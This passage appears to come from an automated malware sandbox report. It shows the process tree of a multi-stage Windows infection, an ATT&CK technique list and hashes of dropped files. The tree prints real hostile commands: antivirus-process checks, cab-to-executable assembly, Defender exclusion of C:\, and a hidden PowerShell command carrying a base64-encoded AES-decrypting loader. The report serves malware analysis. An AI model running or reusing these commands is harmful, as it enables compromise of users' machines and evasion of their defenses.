- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\AppData\Local\Temp\10413680101\7IIl2eE.exe"C:\Users\Admin\AppData\Local\Temp\10413680101\7IIl2eE.exe"6⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\CMD.exe"C:\Windows\system32\CMD.exe" /c copy Expectations.cab Expectations.cab.bat & Expectations.cab.bat7⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\tasklist.exetasklist8⤵
- Enumerates processes with tasklist
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "opssvc wrsa"8⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\tasklist.exetasklist8⤵
- Enumerates processes with tasklist
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\findstr.exefindstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"8⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c md 4183778⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\extrac32.exeextrac32 /Y /E Leon.cab8⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\findstr.exefindstr /V "BEVERAGES" Compilation8⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b 418377\Passwords.com + Playing + New + Realized + Uw + Jpeg + Badly + Asbestos + Seeds + Service + Basis + Via 418377\Passwords.com8⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b ..\Pendant.cab + ..\Visitor.cab + ..\Illegal.cab + ..\Suddenly.cab + ..\Theology.cab + ..\Kidney.cab + ..\Flying.cab + ..\Tigers.cab N8⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\418377\Passwords.comPasswords.com N8⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
C:\Windows\SysWOW64\choice.exechoice /d y /t 58⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10413690101\captcha.exe"C:\Users\Admin\AppData\Local\Temp\10413690101\captcha.exe"6⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\10413700101\PQPYAYJJ.exe"C:\Users\Admin\AppData\Local\Temp\10413700101\PQPYAYJJ.exe"6⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\Abspawnhlp.exe"C:\Users\Admin\Abspawnhlp.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\NotepadComGKR\Abspawnhlp.exeC:\Users\Admin\AppData\Local\NotepadComGKR\Abspawnhlp.exe8⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\NotepadComGKR\Abspawnhlp.exeC:\Users\Admin\AppData\Local\NotepadComGKR\Abspawnhlp.exe9⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe9⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10413710101\50702d4ef9.exe"C:\Users\Admin\AppData\Local\Temp\10413710101\50702d4ef9.exe"6⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10413721121\5ym0ZYg.cmd"6⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\10413721121\5ym0ZYg.cmd"7⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR2bWVhcnAgPSBAJw0KJHVzZXJ4Z3dOYW1lIHhndz0gJGVueGd3djpVU0V4Z3dSTkFNRXhndzskdGlzeGd3ID0gIkN4Z3c6XFVzZXhnd3JzXCR1eGd3c2VyTmF4Z3dtZVxkd3hnd20uYmF0eGd3IjtpZiB4Z3coVGVzdHhndy1QYXRoeGd3ICR0aXN4Z3cpIHsgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiQnhnd2F0Y2ggeGd3ZmlsZSB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dDeWFuO3hndyAgICAkeGd3ZmlsZUx4Z3dpbmVzIHhndz0gW1N5eGd3c3RlbS54Z3dJTy5GaXhnd2xlXTo6eGd3UmVhZEF4Z3dsbExpbnhnd2VzKCR0eGd3aXMsIFt4Z3dTeXN0ZXhnd20uVGV4eGd3dC5FbmN4Z3dvZGluZ3hnd106OlVUeGd3RjgpOyB4Z3cgICBmb3hnd3JlYWNoeGd3ICgkbGl4Z3duZSBpbnhndyAkZmlseGd3ZUxpbmV4Z3dzKSB7IHhndyAgICAgeGd3ICBpZiB4Z3coJGxpbnhnd2UgLW1heGd3dGNoICd4Z3deOjo6IHhndz8oLispeGd3JCcpIHt4Z3cgICAgIHhndyAgICAgeGd3ICBXcml4Z3d0ZS1Ib3hnd3N0ICJJeGd3bmplY3R4Z3dpb24gY3hnd29kZSBkeGd3ZXRlY3R4Z3dlZCBpbnhndyB0aGUgeGd3YmF0Y2h4Z3cgZmlsZXhndy4iIC1GeGd3b3JlZ3J4Z3dvdW5kQ3hnd29sb3IgeGd3Q3lhbjt4Z3cgICAgIHhndyAgICAgeGd3ICB0cnl4Z3cgeyAgIHhndyAgICAgeGd3ICAgICB4Z3cgICAkZHhnd2Vjb2RleGd3ZEJ5dGV4Z3dzID0gW3hnd1N5c3RleGd3bS5Db254Z3d2ZXJ0XXhndzo6RnJveGd3bUJhc2V4Z3c2NFN0cnhnd2luZygkeGd3bWF0Y2h4Z3dlc1sxXXhndy5UcmlteGd3KCkpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3ckaW5qZXhnd2N0aW9ueGd3Q29kZSB4Z3c9IFtTeXhnd3N0ZW0ueGd3VGV4dC54Z3dFbmNvZHhnd2luZ106eGd3OlVuaWN4Z3dvZGUuR3hnd2V0U3RyeGd3aW5nKCR4Z3dkZWNvZHhnd2VkQnl0eGd3ZXMpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3dXcml0ZXhndy1Ib3N0eGd3ICJJbmp4Z3dlY3Rpb3hnd24gY29keGd3ZSBkZWN4Z3dvZGVkIHhnd3N1Y2NleGd3c3NmdWx4Z3dseS4iIHhndy1Gb3JleGd3Z3JvdW54Z3dkQ29sb3hnd3IgR3JleGd3ZW47ICB4Z3cgICAgIHhndyAgICAgeGd3ICAgIFd4Z3dyaXRlLXhnd0hvc3QgeGd3IkV4ZWN4Z3d1dGluZ3hndyBpbmpleGd3Y3Rpb254Z3cgY29kZXhndy4uLiIgeGd3LUZvcmV4Z3dncm91bnhnd2RDb2xveGd3ciBZZWx4Z3dsb3c7IHhndyAgICAgeGd3ICAgICB4Z3cgICAgIHhnd0ludm9reGd3ZS1FeHB4Z3dyZXNzaXhnd29uICRpeGd3bmplY3R4Z3dpb25Db3hnd2RlOyAgeGd3ICAgICB4Z3cgICAgIHhndyAgICBieGd3cmVhazt4Z3cgICAgIHhndyAgICAgeGd3ICB9IGN4Z3dhdGNoIHhnd3sgICAgeGd3ICAgICB4Z3cgICAgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiRXhnd3Jyb3IgeGd3ZHVyaW54Z3dnIGRlY3hnd29kaW5neGd3IG9yIGV4Z3d4ZWN1dHhnd2luZyBpeGd3bmplY3R4Z3dpb24gY3hnd29kZTogeGd3JF8iIC14Z3dGb3JlZ3hnd3JvdW5keGd3Q29sb3J4Z3cgUmVkO3hndyAgICAgeGd3ICAgICB4Z3cgIH07IHhndyAgICAgeGd3ICB9OyB4Z3cgICB9O3hnd30gZWxzeGd3ZSB7ICB4Z3cgICAgV3hnd3JpdGUteGd3SG9zdCB4Z3ciU3lzdHhnd2VtIEVyeGd3cm9yOiB4Z3dCYXRjaHhndyBmaWxleGd3IG5vdCB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dSZWQ7IHhndyAgIGV4eGd3aXQ7fTt4Z3dmdW5jdHhnd2lvbiBweGd3c29nbCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGF4Z3dlc192YXhnd3I9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQWVzeGd3XTo6Q3J4Z3dlYXRlKHhndyk7CSRheGd3ZXNfdmF4Z3dyLk1vZHhnd2U9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQ2lweGd3aGVyTW94Z3dkZV06Onhnd0NCQzsJeGd3JGFlc194Z3d2YXIuUHhnd2FkZGlueGd3Zz1bU3l4Z3dzdGVtLnhnd1NlY3VyeGd3aXR5LkN4Z3dyeXB0b3hnd2dyYXBoeGd3eS5QYWR4Z3dkaW5nTXhnd29kZV06eGd3OlBLQ1N4Z3c3OwkkYXhnd2VzX3ZheGd3ci5LZXl4Z3c9W1N5c3hnd3RlbS5DeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygnVUNEeGd3ZFZ6U3Z4Z3dDMUNvOXhnd1VWb1B1eGd3RXRvVWR4Z3duNzZsQ3hndytPV0tJeGd3OG5qRGV4Z3dxTDZ4MHhndz0nKTsJeGd3JGFlc194Z3d2YXIuSXhnd1Y9W1N5eGd3c3RlbS54Z3dDb252ZXhnd3J0XTo6eGd3RnJvbUJ4Z3dhc2U2NHhnd1N0cmlueGd3ZygnK2F4Z3cvRHp3NHhnd1ZRR1g3eGd3L1J0Y0h4Z3dQQkpWd3hndz09Jyk7eGd3CSRkZWN4Z3dyeXB0b3hnd3JfdmFyeGd3PSRhZXN4Z3dfdmFyLnhnd0NyZWF0eGd3ZURlY3J4Z3d5cHRvcnhndygpOwkkeGd3cmV0dXJ4Z3duX3Zhcnhndz0kZGVjeGd3cnlwdG94Z3dyX3Zhcnhndy5UcmFueGd3c2Zvcm14Z3dGaW5hbHhnd0Jsb2NreGd3KCRwYXJ4Z3dhbV92YXhnd3IsIDAseGd3ICRwYXJ4Z3dhbV92YXhnd3IuTGVueGd3Z3RoKTt4Z3cJJGRlY3hnd3J5cHRveGd3cl92YXJ4Z3cuRGlzcHhnd29zZSgpeGd3OwkkYWV4Z3dzX3Zhcnhndy5EaXNweGd3b3NlKCl4Z3c7CSRyZXhnd3R1cm5feGd3dmFyO314Z3dmdW5jdHhnd2lvbiBzeGd3dGF4cCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGh4Z3dwaGM9Tnhnd2V3LU9ieGd3amVjdCB4Z3dTeXN0ZXhnd20uSU8ueGd3TWVtb3J4Z3d5U3RyZXhnd2FtKCwkeGd3cGFyYW14Z3dfdmFyKXhndzsJJGlzeGd3d2hiPU54Z3dldy1PYnhnd2plY3QgeGd3U3lzdGV4Z3dtLklPLnhnd01lbW9yeGd3eVN0cmV4Z3dhbTsJJHhnd2Zsc2l6eGd3PU5ldy14Z3dPYmplY3hnd3QgU3lzeGd3dGVtLkl4Z3dPLkNvbXhnd3ByZXNzeGd3aW9uLkd4Z3daaXBTdHhnd3JlYW0oeGd3JGhwaGN4Z3csIFtJT3hndy5Db21weGd3cmVzc2l4Z3dvbi5Db3hnd21wcmVzeGd3c2lvbk14Z3dvZGVdOnhndzpEZWNveGd3bXByZXN4Z3dzKTsJJHhnd2Zsc2l6eGd3LkNvcHl4Z3dUbygkaXhnd3N3aGIpeGd3OwkkZmx4Z3dzaXouRHhnd2lzcG9zeGd3ZSgpOwl4Z3ckaHBoY3hndy5EaXNweGd3b3NlKCl4Z3c7CSRpc3hnd3doYi5EeGd3aXNwb3N4Z3dlKCk7CXhndyRpc3doeGd3Yi5Ub0F4Z3dycmF5KHhndyk7fWZ1eGd3bmN0aW94Z3duIGhlenhnd2d4KCRweGd3YXJhbV94Z3d2YXIsJHhnd3BhcmFteGd3Ml92YXJ4Z3cpewkkbnhnd3g9W1N5eGd3c3RlbS54Z3dSZWZsZXhnd2N0aW9ueGd3LkFzc2V4Z3dtYmx5XXhndzo6KCdkeGd3YW9MJ1t4Z3ctMS4uLXhndzRdIC1qeGd3b2luICd4Z3cnKShbYnhnd3l0ZVtdeGd3XSRwYXJ4Z3dhbV92YXhnd3IpOwkkeGd3bGF6PSR4Z3dueC5Fbnhnd3RyeVBveGd3aW50Owl4Z3ckbGF6Lnhnd0ludm9reGd3ZSgkbnV4Z3dsbCwgJHhnd3BhcmFteGd3Ml92YXJ4Z3cpO30kaHhnd29zdC5VeGd3SS5SYXd4Z3dVSS5XaXhnd25kb3dUeGd3aXRsZSB4Z3c9ICR0aXhnd3M7JGxveGd3Zj1bU3l4Z3dzdGVtLnhnd0lPLkZpeGd3bGVdOjp4Z3coJ3R4ZXhnd1RsbEFkeGd3YWVSJ1t4Z3ctMS4uLXhndzExXSAteGd3am9pbiB4Z3cnJykoJHhnd3RpcykueGd3U3BsaXR4Z3coW0Vudnhnd2lyb25teGd3ZW50XTp4Z3c6TmV3THhnd2luZSk7eGd3Zm9yZWF4Z3djaCAoJHhnd3pwamxweGd3IGluICR4Z3dsb2YpIHhnd3sJaWYgeGd3KCR6cGp4Z3dscC5TdHhnd2FydHNXeGd3aXRoKCd4Z3c6OiAnKXhndykJewkJeGd3JGdxYnN4Z3c9JHpwanhnd2xwLlN1eGd3YnN0cml4Z3duZygzKXhndzsJCWJyeGd3ZWFrOwl4Z3d9fSRpdXhnd3A9W3N0eGd3cmluZ1t4Z3ddXSRncXhnd2JzLlNweGd3bGl0KCd4Z3dcJyk7JHhnd25sdD1zeGd3dGF4cCB4Z3cocHNvZ3hnd2wgKFtDeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygkaXVweGd3WzBdKSl4Z3cpOyRqZXhnd2J0PXN0eGd3YXhwICh4Z3dwc29nbHhndyAoW0NveGd3bnZlcnR4Z3ddOjpGcnhnd29tQmFzeGd3ZTY0U3R4Z3dyaW5nKHhndyRpdXBbeGd3MV0pKSl4Z3c7aGV6Z3hnd3ggJG5seGd3dCAkbnV4Z3dsbDtoZXhnd3pneCAkeGd3amVidCB4Z3coLFtzdHhnd3JpbmdbeGd3XV0gKCd4Z3clKicpKXhndzsNCidADQoNCiRybGpmcnAgPSAkdm1lYXJwIC1yZXBsYWNlICd4Z3cnLCAnJw0KDQpJbnZva2UtRXhwcmVzc2lvbiAkcmxqZnJwDQo=')) | Invoke-Expression"8⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\'9⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10413730101\TbV75ZR.exe"C:\Users\Admin\AppData\Local\Temp\10413730101\TbV75ZR.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"7⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5780 -s 4928⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10413740101\qWR3lUj.exe"C:\Users\Admin\AppData\Local\Temp\10413740101\qWR3lUj.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"7⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\10413750101\p3hx1_003.exe"C:\Users\Admin\AppData\Local\Temp\10413750101\p3hx1_003.exe"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Add-MpPreference -ExclusionPath 'C:'8⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\svchost.exe"C:\Windows\system32\svchost.exe"7⤵
- Downloads MZ/PE file
- Adds Run key to start application
-
C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe"C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""8⤵
- Sets service image path in registry
- Executes dropped EXE
- Suspicious behavior: LoadsDriver
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Remove-MpPreference -ExclusionPath C:\9⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe"C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe" ""8⤵
- Deletes itself
- Executes dropped EXE
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10413760101\Rm3cVPI.exe"C:\Users\Admin\AppData\Local\Temp\10413760101\Rm3cVPI.exe"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\10413770101\YGYZCmt.exe"C:\Users\Admin\AppData\Local\Temp\10413770101\YGYZCmt.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"7⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\10413780101\6862027c44.exe"C:\Users\Admin\AppData\Local\Temp\10413780101\6862027c44.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"7⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\10413790101\0ee5eb4d4c.exe"C:\Users\Admin\AppData\Local\Temp\10413790101\0ee5eb4d4c.exe"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\10413800101\71da115e9e.exe"C:\Users\Admin\AppData\Local\Temp\10413800101\71da115e9e.exe"6⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exeC:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exeC:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5780 -ip 57801⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}1⤵
-
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exeC:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Modify Authentication Process
1Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
1Hide Artifacts
1Ignore Process Interrupts
1Impair Defenses
2Disable or Modify System Firewall
1Modify Authentication Process
1Modify Registry
3Pre-OS Boot
1Bootkit
1Virtualization/Sandbox Evasion
2Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Modify Authentication Process
1Steal Web Session Cookie
1Unsecured Credentials
5Credentials In Files
5Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
27KB
MD55b8fb06983be9063ef128fa5aee80b3a
SHA1c065a0ee84eb1fd646ea213bca20543306d7c9e1
SHA256ab5b956eca5ce83bf763d5f952316f17ba771adfd5cafd8ca9e262de61de4b4e
SHA512868cfbf9dd0a4ea9ececb290fa149959416ee2720c09e5bb8722cd1863626794afc2d5770e9244ba4e64b8e88c76e22e13af37aa42d745e1dbff4104258c8da2
-
Filesize
649B
MD571e6b4fda249a51bfb8d6190b55e163f
SHA1fefef51022db83e9c289c96181a500b8c3095569
SHA256ebc95845e0c0c1a5630120a0ac9f1e48349323528af2e05aba740c172a03a5ce
SHA512eea60d902b2d5d347329a83713a8dfe9de5c0522abbdaa762dec6fdaa8c553bf94b3d42234908699689914174ec82a3d51c0138da4f61aa3f9dfab6740d70be3
-
Filesize
2B
MD5d751713988987e9331980363e24189ce
SHA197d170e1550eee4afc0af065b78cda302a97674c
SHA2564f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
SHA512b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
-
Filesize
9KB
MD5620d40fa17b5d2295358dba35720c5d3
SHA1ba842a0211cf93837b2553e9b84935e7d80735d5
SHA256012081518f38810751d46b8b70d8f21a0807ba32c596800d379dc1615c440bf2
SHA51225e34bb05db300e56c7d489815f4c165be35c61ca11d285b3a5e82b4aeaf8aa0e8fb02b02d6e98eccc543844774eb0c80ccc18186a03095f832d447e06011ccd
-
Filesize
13KB
MD567d0fd41baae3bd93349b7134060a965
SHA12bdaef741ffd0a2ec0c96e1dcfbeb6c21fa9ed03
SHA256d5395c80e223a7dbbb4d420311ee3f1318ae844596e7cdd07dd1b5f7ca234285
SHA512190916e91ecebbea5d980c34da213e98911c61f8ace11b7d68f5d386483321f2495fd75ccfc3243617e2317d2e2cc42e8160bc0755e1776663393ece6010da76
-
Filesize
16B
MD546295cac801e5d4857d09837238a6394
SHA144e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA2560f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
SHA5128969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
-
Filesize
41B
MD55af87dfd673ba2115e2fcf5cfdb727ab
SHA1d5b5bbf396dc291274584ef71f444f420b6056f1
SHA256f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
SHA512de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
-
Filesize
81KB
MD5ebfcd7942c9c2fe53fbe6f897c08434a
SHA183c055849c7f4de41a01dca775c3d610c7a8415a
SHA256247fca382514a5bcebd388e2365f22c688334b90cb5d211f78a86351f538726e
SHA512952876b8bd88b07af5c28ee024c0e3a35b6334e17495bccfbfa62d653e97e143fcda570d1f6859ad1dfbda2a4f4032a0c2e7cc00ea1875f2cea45add3ec5c63c
-
Filesize
79KB
MD53c18e3c937475d3332ca85c40c06c51a
SHA1ca04c918526a0198644ec95db60f161c6bc3de00
SHA2566a50047f53b8dcf01110d5a9b882c7c025889c2d3d6d0ea5c85c77625ca068b2
SHA5124280557598b19bcf758c6d894ebf2e7fa79f4052b2ab10539d52ccc91caac345fbeaffa38be92f916a4059f0f34085d745586f97e2d508a923f29f745eb11bbe
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
2KB
MD525604a2821749d30ca35877a7669dff9
SHA149c624275363c7b6768452db6868f8100aa967be
SHA2567f036b1837d205690b992027eb8b81939ba0228fc296d3f30039eeba00bd4476
SHA512206d70af0b332208ace2565699f5b5da82b6a3806ffa51dd05f16ab568a887d63449da79bbaeb46183038837446a49515d62cb6615e5c5b27563cd5f774b93f5
-
Filesize
23B
MD53fd11ff447c1ee23538dc4d9724427a3
SHA11335e6f71cc4e3cf7025233523b4760f8893e9c9
SHA256720a78803b84cbcc8eb204d5cf8ea6ee2f693be0ab2124ddf2b81455de02a3ed
SHA51210a3bd3813014eb6f8c2993182e1fa382d745372f8921519e1d25f70d76f08640e84cb8d0b554ccd329a6b4e6de6872328650fefa91f98c3c0cfc204899ee824
-
Filesize
40B
MD520d4b8fa017a12a108c87f540836e250
SHA11ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA2566028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
SHA512507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
-
Filesize
14KB
MD5a510e43e9073d0d460a2bed5a8002be4
SHA1f8f38f23eb6c6c94221e3b36ff0153c6d16a8be3
SHA256bc3608b9924b3ac54e764540c8d41b893e3c560b197e985e4468c0fafd7aba1c
SHA512d16e01a22fe2a8f6d9d15cb8201e0283e9c57a69fbad7d8dc18d2400db7ef9f34a5b59c90c6308a3ebcda8da95e292ed69c440609f122dc80ba4df264d9b35f9
-
Filesize
30KB
MD51b1d0a5c5d0333b391eeab961d209692
SHA15bfeb9c4f47d876172ac0b4b9ef22714b95f255b
SHA2562320a9e0cab7ee183c5255e59b987464b8e798a553dcebe7c601cbf395d3fa40
